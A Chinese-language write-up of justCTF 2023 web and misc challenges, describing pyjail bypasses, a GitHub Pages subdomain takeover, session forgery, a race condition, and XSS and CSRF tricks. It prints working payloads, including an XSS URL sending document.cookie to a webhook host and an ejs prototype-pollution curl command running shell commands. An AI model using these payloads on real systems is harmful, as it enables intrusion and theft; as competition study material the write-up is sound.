justCTF 2023 WriteUps
這周在 TSJ 隊伍中解了些 web 和 misc 的題目。
Misc
ECC for Dummies
這題會隨機生成一些 boolean (cards
),然後給你對那些
boolean 問一些問題 (以 cards[i]
組成的 python
expression,用 AST
過濾),但有幾個問題的答案它會刻意給錯誤的結果,所以題目名稱的 ECC
應該是指 Error Correcting Code。
不過這題的 len(cards) == 5
,直接送
0 0 0 0 0
當作答案其實就有 1/32
的機率是對的,直接硬爆即可。
1 | while true; do echo '1\n1\n1\n1\n1\n1\n1\n1\n0 0 0 0 0\n' | nc eccfordummies.nc.jctf.pro 1337 | grep flag; done |
不過後來發現它 AST 過濾的部分根本沒寫好,最簡單可以直接
breakpoint()
就過了 XD。
ECC not only for Dummies
這題上了 PoW 並修改了一些題目,但 AST 過濾的部分還是沒寫好,所以也是
breakpoint()
就過了 XD。
1 | breakpoint() |
想要正經版的 Error Correcting Code 題目建議參考 WMCTF 的 nanoDiamond(-rev)
PyPlugins
1 | #!/usr/bin/env python3.10 |
簡單來說這題可以從指定 domain 下載 plugin 並且執行,但是只能執行
LOAD_CONST
, STORE_NAME
,
RETURN_VALUE
這三個 opcode,所以類似 pyjail。
首先是要找方法繞 domain 限制,dig 一下那幾個 domain 的 subdomain 會發現它基本上是直接 wildcard CNAME 到 GitHub Pages。
*.blackhat.day
->whateverherebecausewhocares.github.io
*.veganrecipes.soy
->dc3dtest.github.io
*.fizzbuzz.foo
->howdoesthiswork.github.io
所以有機會做 subdomain takeover。
具體方法也很簡單,例如假設我的目標是拿下
maple.blackhat.day
,那就在自己帳號底下建一個 repo 叫
whateverherebecausewhocares.github.io
,然後放一個
CNAME
檔案內容為 maple.blackhat.day
,之後進
repo settings 的 pages 等一下就能 takeover 了。
剩下是 pyjail 的部分,我這邊是注意到它
compile(expr, "", "exec")
的 expr
是
str
,而寫入檔案後再執行時其實是當 bytes
處理的,而 Python 在遇到 bytes
類型的 source code
時是會接受 #coding: ...
這種 comment
的,所以我用這個就繞過了:
1 | #coding: raw_unicode_escape |
不過 flag 是
justCTF{GitHub_P4g3s_Subd0ma1ns_And_Z1pp3d_Pycs_Ar3_Cr4zy!}
,所以顯然不是
intended XD。
這題 intended 是個 CPython 0day (?): py/pyc/zip file type confusion
總之就是 python 是能接受 zip file 當作 input 的 (參考
zipapp),裡面的運作原理和一般 zip 解壓縮很像,就是找 zip 的 end of
central directory 之類的。另一方面 CPython 還有個 pyc 檔案包含了一些
header 和 code object,而 code object 上又會有 co_consts
的存在。
所以如果你有個 Python 裡面有個很長的 byte literal 包含了一個 zip,它編譯成 pyc 之後會直接在裡面展開,而此時去執行它的時候 CPython 反而是會因為那個 zip signature 而把它誤認成 zip 來執行。其他的說明可以參考這個。
Python Zip confusion: POC
Web
eXtra Safe Security layers
這題核心部分是這段 code:
1 | app.use((req, res, next) => { |
還有 ejs template 部分有這個:
1 | <script> |
blacklist
部分就一些常見的 js function 如
alert
eval
之類的,很好繞,之後最主要的關鍵是
res.user = { ...res.user, ...req.query }
,這邊可以用 query
string 造 object 去蓋過 unmodifiable
的部分,這樣就能改
CSP
和 background
,而 background
直接 code injection 即可。
1 | http://xssl.web.jctf.pro/?text=a&unmodifiable[CSP]=a&unmodifiable[background]=`;location.assign(%27https://webhook.site/XXXXX?%27%2Bdocument.cookie);` |
Dangerous
1 | require "sinatra" |
ruby 題,跑的時候是直接 ruby dangerous.rb
執行的。直接用空 content POST /thread
會有 error
page,可發現它是跑在 debug mode 下的,所以能在頁面上找到 session
secret。
有 session secret 就代表能隨意修改 cookie,而它底層是用 ruby
Marshal.load
去反序列化的。不過在這個 Ruby 3.2 版本中我用
Google 查到的 payload 都沒有成功,所以就只有拿它來修改
session[:username]
而已。
從它給的網站上可知 admin 的 username 是
janitor
,另外還有兩個 thread 都有 admin 的留言,而
thread.erb
裡面有:
1 | <% @replies.each do |reply| %> |
所以可以知道 sha256(admin_ip + '1')[:6]
和
sha256(admin_ip + '2')[:6]
,而 ipv4
空間不大所以可以直接爆:
1 | from hashlib import sha256 |
最後得到的 ip 是 10.24.170.69
,所以改 session 然後用
X-Forwarded-For
偽造 ip 就能拿到 flag 了。
1 | import hashlib, hmac, base64 |
Perfect Product
這題用 ejs 3.1.9,而核心部分 code 是:
1 | app.all('/product', (req, res) => { |
顯然這題的目標是要透過 data 去修改 ejs 的設定,然後弄 code injection 拿 RCE。
參考這個可知我們需要能讓
data.settings
有東西才行,不過單看 code
會覺得是不可能的。不過把 js 的 prorotype
機制加進來考慮的話會發現其實能汙染到
data.__proto__.settings
也是可以的,所以找辦法讓
strings
不是 array 才行。
要繞過那個 assignment 的一個簡單方法是讓
strings instanceof Array
為 true
,而 js 中
{ __proto__: [] } instanceof Array
是成立的,所以用
?v[__proto__][0]&v[_proto__][x]=0
就能讓
data.__proto__.x === '0'
了。
接下來我嘗試使用這個的 payload,但發現它 code injection 很麻煩,需要讓 options 的 payload 和 ejs 的部分內容一致才能做到。不過此時我突然想起不久前打 FCSC 2023 時也有一題類似的題目也是一樣要透過 ejs settings 去 RCE 的,當時我就有找到這個 gadget:
1 | const payload = { |
其他人的 writeup (法文): FCSC 2023 : Peculiar Caterpillar
而且當時的版本也是 ejs 3.1.9,所以直接拿來用就行了:
1 | curl -H 'Content-Type: application/json' -g 'http://sy0rdzpzb0mexasqml3bzv9tqtgqo3.perfectproduct.web.jctf.pro/product?v[__proto__][0]&v[2]=1&v[3]=1&v[4]=1' -G --data-urlencode 'v[_proto__][settings][view%20options][debug]=true' --data-urlencode 'v[_proto__][settings][view%20options][client]=true' --data-urlencode 'v[_proto__][settings][view%20options][escapeFunction]=(() => {});return process.mainModule.require("child_process").execSync("/readflag").toString()' --data-urlencode 'v[_proto__][cache]=' |
還有這種 bug (?) 其實現在 ejs 已經說這不算是 bug 了: Out-of-Scope Vulnerabilities,所以不用修的樣子。
Aquatic Delights
1 | #!/usr/bin/env python |
很標準的 shop app,不過 buy sell 都有上 database lock,所以理論上不應該有 race condition。
不過我把 database_connection
稍微修改一下紀錄當前 entry
的次數方法它其實沒有很好的 lock 住 database:
1 | def database_connection(func): |
因為其實有可能有多個 request 同時都在
database_connection
和 database_lock
中間過渡的過程,所以直接硬 spam 還是有機會 race 成功的,只是比沒 lock
的版本比起來機率比較低而已。
所以就寫個腳本硬 race,而 sell 的次數應該要比 buy 多這樣錢就會增加:
1 | import requests |
Phantom
這題有很簡單的帳號註冊系統,然後登入後可以修改自己的 name 和 description,而 flag 在 admin bot 的 name 中。
其中 description 會經過這個過濾:
1 | func isSafeHTML(input string) bool { |
看到 <svg>
就讓我想到能到因為
<svg>
裡面的 parsing 模式是類似 xml 的,而
<textarea>
內部的內容是不用經過 escape 的 (RCDATA
state)。所以
<svg><textarea></svg><script>...
理論上應該是能過的,測試一下也真的可以。
我之所以知道這個是因為不久前我也在 Joplin 中找到了一個很類似的 XSS
剩下就是要怎麼透過繞過 CSRF 去 login 或是修改 profile 了,直接看 code
會發現 profileEdit
(/profile/edit
)
有點特別:
1 | func profileEditHandler(w http.ResponseWriter, r *http.Request) { |
最主要的不同點在於它判斷 method 的地方用了 else,和其他幾個 handler
中的做法不同:
} else if r.Method == http.MethodPost {
。直接參考 csrf.go
也能知道 GET
, HEAD
, OPTIONS
,
TRACE
這幾個 method 都不會被檢查 csrf
token,所以可以透過這幾個 method 並同時送 body 就能成功修改,用 curl
也確定能成功。
然而我找不到方法用 fetch 或是 form 在送 GET
HEAD
request 也能帶 body 的方法,所以就放棄了這條路。
我是改用了 http://xssl.web.jctf.pro
這個 domain 和
https://phantom.web.jctf.pro
屬於 same site
的關係,所以我可從 xssl.web.jctf.pro
改 cookie。
不過
document.cookie = 'session=... ;path=/profile; domain=web.jctf.pro'
因為某些未知原因起不了作用,我猜大概是因為原本的 cookie 是
Secure
或是 HttpOnly
的所以它不給你改。不過幸好我不久前有看到 Cookie Bugs -
Smuggling & Injection 這篇文章,從裡面學到了
document.cookie = '=a=b'
在瀏覽器中是個
(key, value) = ('', 'a=b')
的 cookie,而它被 serialize 到
Cookie
header 時會變成 Cookie: a=b
(注意 key
和 value 中間的等號不見了)。這個在 Go 的 cookie
parsing algorithm 眼中會是一個
(key, value) = ('a', 'b')
的
cookie,所以透過這個方法就能成功改 session cookie 了。
1 | <script> |
另外是我賽後才知道其實 r.FormValue(key)
其實也會從 query
string 讀取,所以 CSRF 其實直接
HEAD /profile/edit?name=&description=XSS
就行了。